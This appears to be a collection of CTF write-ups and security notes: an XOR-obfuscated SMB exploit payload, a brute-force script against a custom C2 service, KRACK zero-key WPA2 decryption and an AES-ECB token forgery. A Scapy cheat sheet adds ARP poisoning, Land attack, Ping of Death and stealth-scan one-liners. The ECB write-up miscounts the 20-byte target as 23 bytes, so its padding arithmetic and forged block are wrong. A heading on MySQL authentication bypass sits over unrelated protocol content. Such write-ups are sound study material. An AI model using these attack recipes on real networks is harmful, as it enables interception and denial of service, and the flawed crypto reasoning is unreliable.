Hello Navi

note and sharing

We have a honey pot running on one of our internal networks. We received an alert today that the machine was compromised, but we can’t figure out what the attacker did. Can you find the flag hidden in the attacker's payload?

我们在内部网络中运行了一个蜜罐。今天我们收到警报,显示该机器已被入侵,但我们无法确定攻击者做了什么。你能找到隐藏在攻击者有效载荷中的 flag 吗?

Network Traffic

The provided logs show SMB (Server Message Block) traffic on port 445 (microsoft_ds). The sequence of SMBNegotiate_Request and SMB2_Negotiate_Protocol_Request suggests an attempt to exploit an SMB vulnerability.

1
2
3
4
0001 Ether / IP / TCP 192.168.10.168:microsoft_ds > 10.0.5.15:42799 SA / Padding
0003 Ether / IP / TCP 10.0.5.15:42799 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB_Header / SMBNegotiate_Request
...
0203 Ether / IP / TCP 10.0.5.15:43947 > 192.168.10.168:microsoft_ds PA / NBTSession / SMB2_Header / SMB2_Negotiate_Protocol_Request / Raw

Payload Extraction

Following the TCP stream and exporting the raw data with Wireshark, we get the following hex dump:

1
2
3
4
5
6
7
8
9
10
❯ xxd a.raw
...
00000270: 0031 c941 e201 c3b9 8200 00c0 0f32 48bb .1.A........2H..
00000280: f80f d0ff ffff ffff 8953 0489 0348 8d05 .........S...H..
00000290: 0a00 0000 4889 c248 c1ea 200f 30c3 0f01 ....H..H.. .0...
000002a0: f865 4889 2425 1000 0000 6548 8b24 25a8 .eH.$%....eH.$%.
...
000007c0: 4d55 9dce ebc1 2620 2357 4052 6f23 7627 MU....& #W@Ro#v'
000007d0: 2226 2277 7027 2122 232c 2075 2523 752d "&"wp'!"#, u%#u-
...

The challenge name "Commutative Payload" hints at a commutative operation like XOR used for obfuscation.

Solution

  1. Extract Data: Save the raw payload from the Wireshark TCP stream.
  2. CyberChef Analysis:
    • Use the XOR Brute Force operation.
    • Sample length: 10000.
    • Crib: 247CTF (knowing the flag format).
  3. Identification: When testing a key length of 2, the key 14 14 (effectively a 1-byte XOR with 0x14) decrypts the payload to reveal the flag.

Flag

247CTF{7b3626cd356784a17a9e49447356f229}

The More The Merrier

One byte is great. But what if you need more? Can you find the flag hidden in this binary?

Analysis

The challenge provides a 64-bit ELF executable. Checking its details:

1
2
❯ file the_more_the_merrier
the_more_the_merrier: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0f750d638337391328fa7432dd362189de908c1e, stripped

Upon inspecting the binary's data section or its hex dump, we find the 247CTF flag hidden in the binary:

1
2
3
4
5
6
7
8
9
10
11
00000000000006E0  01 00 02 00 00 00 00 00  32 00 00 00 34 00 00 00  ........2...4...
00000000000006F0 37 00 00 00 43 00 00 00 54 00 00 00 46 00 00 00 7...C...T...F...
0000000000000700 7B 00 00 00 36 00 00 00 64 00 00 00 66 00 00 00 {...6...d...f...
0000000000000710 32 00 00 00 31 00 00 00 35 00 00 00 65 00 00 00 2...1...5...e...
0000000000000720 62 00 00 00 33 00 00 00 63 00 00 00 63 00 00 00 b...3...c...c...
0000000000000730 37 00 00 00 33 00 00 00 34 00 00 00 30 00 00 00 7...3...4...0...
0000000000000740 37 00 00 00 32 00 00 00 36 00 00 00 37 00 00 00 7...2...6...7...
0000000000000750 30 00 00 00 33 00 00 00 31 00 00 00 61 00 00 00 0...3...1...a...
0000000000000760 31 00 00 00 35 00 00 00 62 00 00 00 30 00 00 00 1...5...b...0...
0000000000000770 61 00 00 00 62 00 00 00 33 00 00 00 36 00 00 00 a...b...3...6...
0000000000000780 63 00 00 00 7D 00 00 00 00 00 00 00 4E 6F 74 68 c...}.......Noth

Solution

Each character of the flag is stored as a 4-byte little-endian integer. For example: - 32 00 00 00 -> 0x32 -> '2' - 34 00 00 00 -> 0x34 -> '4' - 37 00 00 00 -> 0x37 -> '7' - 43 00 00 00 -> 0x43 -> 'C'

We can extract the flag by reading the first byte of each 4-byte chunk.

Flag

247CTF{6df215eb3cc73407267031a15b0ab36c}

Training: Get Sourced

check the source, end of html element

Training: Stegano I

1
2
3
4
5
6
7
8
9
10
11
12
❯ wget https://www.wechall.net/challenge/training/stegano1/stegano1.bmp
❯ file stegano1.bmp
stegano1.bmp: PC bitmap, Windows 3.x format, 4 x 4 x 24, image size 48, cbSize 102, bits offset 54

❯ xxd stegano1.bmp
00000000: 424d 6600 0000 0000 0000 3600 0000 2800 BMf.......6...(.
00000010: 0000 0400 0000 0400 0000 0100 1800 0000 ................
00000020: 0000 3000 0000 0000 0000 0000 0000 0000 ..0.............
00000030: 0000 0000 0000 4c6f 6f6b 2077 6861 7420 ......Look what
00000040: 7468 6520 6865 782d 6564 6974 2072 6576 the hex-edit rev
00000050: 6561 6c65 643a 2070 6173 7377 643a 7374 ealed: passwd:st
00000060: 6567 616e 6f49 ****** <-just hidden

Training: ASCII

1
2
3
4
# use cyberchef to decode, from decimal
input:
84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 111, 114, 100, 97, 101, 110, 112, 114, 115, 115, 105, 112
The solution is: ************

Crypto - Caesar I

1
2
3
4
5
XLI UYMGO FVSAR JSB NYQTW SZIV XLI PEDC HSK SJ GEIWEV ERH CSYV YRMUYI WSPYXMSR MW RTIKVVRIMJPT

use cyberchef to decode, don't pick the Caesar Box Cipher(Transposition), pick the ROT13(Substitution) and change amount

THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG OF CAESAR AND YOUR UNIQUE SOLUTION IS ************

Encodings - URL encode

1
2
3
4
5
6
7
8
9
10

Your task is to decode the following:

%59%69%70%70%65%68%21%20%59%6F%75%72%20%55%52%4C%20%69%73%20%63%68%61%6C%6C%65%6E%67%65%2F%74%72%61%69%6E%69%6E%67%2F%65%6E%63%6F%64%69%6E%67%73%2F%75%72%6C%2F%73%61%77%5F%6C%6F%74%69%6F%6E%2E%70%68%70%3F%70%3D%70%68%67%6F%66%63%72%62%6F%69%73%62%26%63%69%64%3D%35%32%23%70%61%73%73%77%6F%72%64%3D%66%69%62%72%65%5F%6F%70%74%69%63%73%20%56%65%72%79%20%77%65%6C%6C%20%64%6F%6E%65%21

cyberchef with url decode

Yippeh! Your URL is challenge/training/encodings/url/saw_lotion.php?p=phgofcrboisb&cid=52#password=fibre_optics Very well done!

concat the url with https://www.wechall.net/ <-

WWW-Robots

1
2
3
4
5
6
7
8
9
10
11
https://www.wechall.net/robots.txt

User-agent: *
Disallow: /challenge/training/www/robots/T0PS3CR3T
...

concat url

https://www.wechall.net/challenge/training/www/robots/T0PS3CR3T

btw, if you use vim, press gx to open the link

Prime Factory

1
2
3
4
5
6
7
8
9
10
def is_prime(n): return n > 1 and all(n % i != 0 for i in range(2, int(n**0.5) + 1))

if __name__ == "__main__":
p = 1000000
found = []
while len(found) < 2:
p += 1
if is_prime(p) and is_prime(sum(int(d) for d in str(p))):
found.append(p)
print(f'{found[0]}{found[1]}')

MySQL Authentication Bypass - The classic

We are working on our own custom command and control protocol. Can you identify any hidden features in the service? We also included a packet capture of some old sessions so you can learn how it works.

我们正在开发自己的自定义命令与控制协议。您能发现该服务中有哪些隐藏功能吗?我们还提供了一些旧会话的数据包捕获文件,以便您了解其工作原理。

PCAP Investigation with Scapy

The first step was to examine the provided packet capture (custom_protocol_log.pcap) to understand the communication pattern. I used scapy to extract and decode raw data from the TCP streams.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import TCP

PCAP_FILE = "custom_protocol_log.pcap"

def print_hex(pcap_path):
packets = rdpcap(pcap_path)
for pkt in packets:
if TCP in pkt and pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
# Attempt to decode or print as hex
print(raw.hex())
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
print_hex(PCAP_FILE)

Protocol Reversal

By analyzing the hex data from the traffic between 172.17.0.1 and 172.17.0.2, a clear pattern emerged:

1
2
3
b925afc1 00 31 00 30 00 323430323435313235
b925afc1 00 32 00 30 00 323032383630353038
b925afc1 00 33 00 32 00 33383232383038323633

The protocol structure appears to be: [Session ID] [Null] [Counter] [Null] [Command] [Null] [Checksum]

  • Session ID: A 4-byte identifier (e.g., b925afc1).
  • Counter: Increments with each request.
  • Command: Hex-encoded numbers (e.g., 30 for 0, 31 for 1, 32 for 2).
  • Checksum: A CRC32 calculation of the preceding bytes, where the result is converted to a decimal string and then hex-encoded.

Checksum Verification

Using Python to verify the CRC32 logic:

1
2
3
4
5
6
7
8
9
10
11
12
import zlib

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
# Convert CRC32 integer to decimal string, then hex-encode that string
return str(crc_val).encode().hex()

base_hex = "b925afc100310030"
print(f"Payload: {base_hex}")
print(f"Custom CRC Hex: {calc_custom_crc_hex(base_hex)}")
# Output: 323430323435313235 (Matches the PCAP!)

Solution

Exploit Script

I developed a brute-force script using pwntools to iterate through potential commands (0-14) and find the one that triggers the flag response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
import zlib
from pwn import *

HOST = "35f9359cc67c7983.247ctf.com"
PORT = 50385
context.log_level = "info"

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
return str(crc_val).encode().hex()

def solve():
sep = "00"
counter = "31"
# Commands 0-14 in hex format
commands = [f"3{hex(i)[2:]}" for i in range(15)]

for cmd in commands:
try:
conn = remote(HOST, PORT, timeout=5)
# Receive Session ID
session_id = conn.recvline(drop=True).decode(errors="replace")
log.info(f"Session ID: {session_id} | Testing Command: {cmd}")

# Construct payload: [SessionID][00][Counter][00][Command][00][Checksum]
base_hex = f"{session_id}{sep}{counter}{sep}{cmd}"
crc_hex = calc_custom_crc_hex(base_hex)
payload = f"{base_hex}{sep}{crc_hex}"

conn.sendline(payload.encode())

raw_response = conn.recvall(timeout=3).decode(errors="replace")
try:
# Server returns hex-encoded response
decoded_response = bytes.fromhex(raw_response).decode(errors="replace")
if "247CTF" in decoded_response:
log.success(f"Flag found: {decoded_response}")
conn.close()
return
except ValueError:
log.warning(f"Failed to decode hex response: {raw_response}")
print("-" * 40)

if __name__ == "__main__":
solve()

Execution Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[*] Starting brute-force with commands: ['30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '3a', '3b', '3c', '3d', '3e']
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 9b2832a1
[+] Receiving all data: Done (54B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: (2\x001\x00notroot
\x003738085711
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 3907e672
[+] Receiving all data: Done (152B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: 9\x07r\x001\x00uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
\x003051696603
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: edd0a465
[+] Receiving all data: Done (96B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: Фe\x001\x00Sun Mar 1 06:57:51 UTC 2026
\x003480231763
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 705136bc
[+] Receiving all data: Done (446B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: pQ6\x001\x00 total used free shared buff/cache available
Mem: 7973384 1587756 3913000 2636 2472628 6135804
Swap: 2097148 0 2097148
\x002165499562
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: d0f8fe01
[+] Receiving all data: Done (118B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: \x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[+] Flag found: \x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[*] Connection closed.

[Process exited 0]

Flag

247CTF{e5df2a6497c8733e8dc4679d856591af}

Our WiFi keeps disconnecting. We captured wireless traffic to try and figure out what’s happening, but it’s all temporal zeros to us! I think someone is trying to exploit a WiFi vulnerability.. Can you decrypt the traffic and gain access to the flag?

The hint "temporal zeros" and the context of a WiFi vulnerability strongly suggest the KRACK (Key Reinstallation Attack), specifically CVE-2017-13077.

Vulnerability Analysis: Why "Zeros"?

In a standard WPA2 4-way handshake, the client and AP negotiate a PTK (Pairwise Transient Key). KRACK works by intercepting and replaying Message 3 of the handshake, forcing the client to reinstall an already in-use key. This resets nonces (packet numbers) and replay counters.

For certain versions of wpa_supplicant (notably 2.4 and 2.5), a critical implementation bug exists: when the key is reinstalled, the Temporal Key (TK) is not just reused, but cleared to all zeros.

The captured 802.11 CCMP packets are encrypted using a 16-byte key of \x00 values.

The WPA2 4-way Handshake & PTK

  1. Message 1: AP sends a random number (ANonce) to the Client.
  2. Message 2: Client generates its own random number (SNonce), derives the PTK using both Nonces, and sends SNonce to the AP.
  3. Message 3: AP derives the same PTK, sends the Group Temporal Key (GTK), and instructs the Client to install the PTK.
  4. Message 4: Client confirms installation with an ACK.

The KRACK attack manipulates Message 3 to trigger the "all-zero" TK bug.

Decryption Methods

Method 1: Wireshark GUI

If you prefer a visual approach, you can configure Wireshark to decrypt the traffic using the zeroed key:

  1. Open Preferences (Ctrl + Shift + P).
  2. Go to Protocols -> IEEE 802.11.
  3. Check "Enable decryption".
  4. Click "Edit..." next to Decryption keys.
  5. Add a new key:
    • Key type: tk
    • Key: 00000000000000000000000000000000 (32 zeros)

Method 2: Scapy Script (CLI)

The following script manually reconstructs the CCM Nonce and decrypts the packets using the zeroed Temporal Key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import binascii
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from scapy.all import rdpcap
from scapy.layers.dot11 import Dot11, Dot11CCMP, Dot11QoS

PCAP_FILE = "/home/kita/Downloads/00ps.pcap"

def crack_temporal_zeros(pcap_file):
print(f"[*] Parsing {pcap_file}...")
try:
packets = rdpcap(pcap_file)
except Exception as e:
print(f"[!] File error: {e}")
return

# CVE-2017-13077 (KRACK): The bug forces the TK (Temporal Key) to all zeros.
tk_all_zeros = b"\x00" * 16

for idx, pkt in enumerate(packets):
if not pkt.haslayer(Dot11CCMP):
continue

ccmp = pkt[Dot11CCMP]

# 1. Extract Packet Number (PN), 6 bytes
pn = bytes([ccmp.PN5, ccmp.PN4, ccmp.PN3, ccmp.PN2, ccmp.PN1, ccmp.PN0])

# 2. Extract Transmitter Address (A2), 6 bytes
try:
mac_a2 = binascii.unhexlify(pkt[Dot11].addr2.replace(":", ""))
except AttributeError:
continue

# 3. Extract QoS Priority (TID)
priority = b"\x00"
if pkt.haslayer(Dot11QoS):
tid = pkt[Dot11QoS].TID & 0x0F
priority = bytes([tid])

# 4. Construct 13-byte CCM Nonce
# Nonce = Priority (1 byte) + MAC A2 (6 bytes) + PN (6 bytes)
nonce = priority + mac_a2 + pn

# 5. Assemble CTR Initial Vector (16 bytes)
# Flags (0x01) + Nonce (13 bytes) + Counter (0x0001)
iv = b"\x01" + nonce + b"\x00\x01"

# 6. Decrypt using AES-CTR (Bypassing MIC check for speed/simplicity)
cipher = Cipher(
algorithms.AES(tk_all_zeros), modes.CTR(iv), backend=default_backend()
)
decryptor = cipher.decryptor()

raw_data = ccmp.data
if len(raw_data) <= 8:
continue

ciphertext = raw_data[:-8] # Last 8 bytes are the MIC
plaintext = decryptor.update(ciphertext) + decryptor.finalize()

try:
decoded_text = plaintext.decode("utf-8", errors="ignore")
if "247CTF" in decoded_text.upper():
print(f"\n[+] Flag found in packet #{idx + 1}:")
print(f" Plaintext: {decoded_text}\n")
break
except Exception:
pass

if __name__ == "__main__":
crack_temporal_zeros(PCAP_FILE)

Flag

247CTF{5e19fbdfa7072d568a28dd47b0edd379}

1. TCP Control Flags

Flag Name Function Use Case
SYN Synchronize Establishes connection / Syncs sequence numbers 3-way handshake start
ACK Acknowledge Confirms receipt of data/packets Connection maintenance
FIN Finish Graceful connection termination Closing session
RST Reset Immediate, forced connection termination Error handling / Port closed
PSH Push Forces data to application layer immediately Interactive sessions (SSH)
URG Urgent Marks data as priority Out-of-band data

[!INFO] Practical Insight: PSH vs. Buffering

  • Kernel Mechanism: Linux typically buffers data to optimize throughput.
  • PSH Action: Overrides buffer logic. In CTF/Traffic analysis, frequent PSH flags often indicate real-time command execution (e.g., Reverse Shell traffic).

2. Scapy Layer & Field Reference

IP Layer (IP)

  • src / dst: Source and Destination IP addresses.
  • proto: Protocol number (TCP: 6, UDP: 17, ICMP: 1).
  • ttl: Time to Live (hops).

Transport Layer (TCP / UDP)

  • sport / dport: Source and Destination ports.
  • flags: TCP control bits (e.g., S, SA, RA).
  • seq / ack: Sequence and Acknowledgment numbers (TCP).
  • load: Data payload (Raw or UDP).

Raw Layer (Raw)

The Raw layer contains unparsed binary data.

  • Access: pkt[Raw].load
  • Use: Efficient for binary pattern matching or extracting custom payloads.

3. Probing & Scanning Recipes

Host Discovery (Ping)

1
2
3
4
5
6
7
8
# ARP Ping (Local Network)
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"), timeout=2)

# TCP SYN Ping (Bypass ICMP filters)
ans, unans = sr(IP(dst="192.168.1.0/24")/TCP(dport=80, flags="S"))

# UDP Ping (Relies on ICMP Port Unreachable)
ans, unans = sr(IP(dst="192.168.1.*")/UDP(dport=0))

Advanced Port Scanning

1
2
3
4
5
6
7
# ACK Scan (Firewall Rule Detection)
# Response = Port Unfiltered; No Response = Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=[80, 443], flags="A"))

# Xmas Scan (FIN/PSH/URG)
# RST Response = Port Closed; No Response = Open|Filtered
ans, unans = sr(IP(dst="target")/TCP(dport=666, flags="FPU"))

4. Network Security Testing

ARP Cache Poisoning (MitM)

1
2
3
4
5
# Manual ARP Poisoning
send(Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client), loop=1, inter=10)

# Scapy Built-in Helper
arp_mitm("target_ip", "gateway_ip")

Protocol Forgery

  • Land Attack: Source and Destination set to target IP.
    1
    send(IP(src=target, dst=target)/TCP(sport=135, dport=135))
  • Ping of Death: Fragmented oversized ICMP packets.
    1
    send(fragment(IP(dst=target)/ICMP()/("X"*60000)))

5. Service Interaction & Sniffing

DNS Queries

1
2
# Query MX Record
ans = sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname="google.com", qtype="MX")))

Advanced Traceroute

1
2
3
4
5
# TCP SYN Traceroute
ans, unans = traceroute("target.com", dport=443, flags="S")

# DNS/UDP Traceroute
ans, unans = traceroute("4.2.2.1", l4=UDP()/DNS(qd=DNSQR(qname="example.com")))

Sniffing

1
2
# Sniff 802.11 Beacon frames (Requires Monitor Mode)
sniff(iface="wlan0mon", prn=lambda x: x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%}"))

6. TLS Forensics: Matching Keys to Traffic

When analyzing encrypted PCAPs, you may need to find which private key (from a collection) matches a certificate found in the traffic.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
import glob
import os
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from scapy.all import *
from scapy.layers.tls.all import TLS
from scapy.layers.tls.cert import Cert
from scapy.layers.tls.handshake import TLSCertificate

# Configuration
PCAP_FILE = "encrypted.pcap"
KEYS_DIR = "./keys/"

load_layer("tls")

def extract_certs_from_pcap(pcap_path):
"""Extracts TLS certificates from a PCAP file."""
packets = rdpcap(pcap_path)
cert_list = []

for pkt in packets:
if pkt.haslayer(Raw):
raw = pkt[Raw].load
try:
tls_parsed = TLS(raw)
tls_cert_layer = tls_parsed.getlayer(TLSCertificate)
if tls_cert_layer:
for _, x509_wrapper in tls_cert_layer.certs:
cert_list.append(x509_wrapper)
print(f"[+] Extracted Certificate: {x509_wrapper.subject}")
except Exception:
continue
return cert_list

def get_rsa_modulus(cert_obj):
"""Extracts the RSA modulus from a Scapy Cert object."""
try:
if not isinstance(cert_obj, Cert):
return None
pubkey_bytes = cert_obj.pubKey.der
public_key = serialization.load_der_public_key(pubkey_bytes)

if isinstance(public_key, rsa.RSAPublicKey):
return public_key.public_numbers().n
except Exception as e:
print(f"[-] Error parsing public key: {e}")
return None

def find_matching_key(target_modulus, keys_directory):
"""Finds a PEM private key in a directory matching the given modulus."""
print(f"[*] Searching for matching key in {keys_directory}...")

for key_file in glob.glob(os.path.join(keys_directory, "*")):
try:
with open(key_file, "rb") as f:
private_key = serialization.load_pem_private_key(
f.read(), password=None, backend=default_backend()
)

if isinstance(private_key, rsa.RSAPrivateKey):
priv_modulus = private_key.private_numbers().public_numbers.n
if priv_modulus == target_modulus:
return key_file
except Exception:
continue
return None

if __name__ == "__main__":
certs = extract_certs_from_pcap(PCAP_FILE)
if not certs:
print("[-] No certificates found.")
exit(1)

for cert in certs:
modulus = get_rsa_modulus(cert)
if modulus:
match = find_matching_key(modulus, KEYS_DIR)
if match:
print(f"[!] BINGO! Matching key found: {match}")
break
else:
print("[-] No matching keys found.")

Recover a XOR encryption key used to encrypt a JPG image.

Approach

XOR encryption is vulnerable when the plaintext is partially known:

  • JPG files have a known magic header: FF D8 FF E0 00 10 4A 46 49 46 00 01
  • XOR the encrypted header with known plaintext to recover the key
  • Apply the recovered key to decrypt the entire file

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python3
from itertools import cycle

# JPG file magic header
known_header = bytes.fromhex("FF D8 FF E0 00 10 4A 46 49 46 00 01")

# Read encrypted file
with open("my_magic_bytes.jpg.enc", "rb") as f:
cipher_data = f.read()

# Extract encrypted header
cipher_header = cipher_data[:12]

# Recover XOR key: ciphertext XOR plaintext = key
key = bytes([c ^ p for c, p in zip(cipher_header, known_header)])
print(f"[*] Calculated Key: {key.hex().upper()}")

# Decrypt entire file by applying repeating key
decrypted_data = bytes([c ^ k for c, k in zip(cipher_data, cycle(key))])

# Save decrypted image
with open("flag.jpg", "wb") as f:
f.write(decrypted_data)

print("[*] Decrypted! Check flag.jpg")

Key Insight

When XOR encrypts known file formats (JPG, PNG, ZIP, etc.), the magic bytes provide enough information to recover the key without brute force.

Flag

247CTF{ca4e3b7f913ca7ca8f33fb0504f2947f}

An encryption service encrypts plaintext, but blocks encryption of the impossible_flag_user string. Exploit the ECB mode implementation to forge an encrypted token that decrypts to this forbidden value.

Vulnerability

The service uses AES in ECB mode, which has critical weakness: identical plaintext blocks produce identical ciphertext blocks. By crafting specific payloads, we can:

  1. Encrypt the first 16 bytes of the target string
  2. Encrypt padding-aligned subsequent bytes
  3. Concatenate the cipher blocks to forge a valid token

Exploit Strategy

The target user is: impossible_flag_user (23 bytes)

  1. Block 1: Encrypt impossible_flag_ (16 bytes) → get first cipher block
  2. Block 2: Encrypt user + PKCS#7 padding → get second cipher block
  3. Combine: Concatenate blocks to form forged token → decrypt equals target

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import binascii
import requests

BASE_URL = "https://2c5a74f7cc3f1fdf.247ctf.com"

def solve():
# Block 1: First 16 bytes of target
part1_plain = b"impossible_flag_"
payload1 = binascii.hexlify(part1_plain).decode()
r1 = requests.get(f"{BASE_URL}/encrypt?user={payload1}")
cipher_part1 = r1.text[:32] # 32 hex chars = 16 bytes
print(f"[*] Block 1 Cipher: {cipher_part1}")

# Block 2: Remaining 7 bytes + PKCS#7 padding to 16 bytes
padding_len = 16 - (23 % 16) # target is 23 bytes, part 2 is 7 bytes. 16 - 7 = 9.
part2_plain = b"user" + bytes([padding_len] * padding_len)
payload2 = binascii.hexlify(part2_plain).decode()
r2 = requests.get(f"{BASE_URL}/encrypt?user={payload2}")
cipher_part2 = r2.text[:32]
print(f"[*] Block 2 Cipher: {cipher_part2}")

# Forge token by concatenating blocks
final_token = cipher_part1 + cipher_part2
print(f"[*] Forged Token: {final_token}")

# Get flag
r_flag = requests.get(f"{BASE_URL}/get_flag?user={final_token}")
print(f"\n---> FLAG: {r_flag.text}")

if __name__ == "__main__":
solve()

Flag

247CTF{ddd01e396dc1965c3fcf943f3968aa39}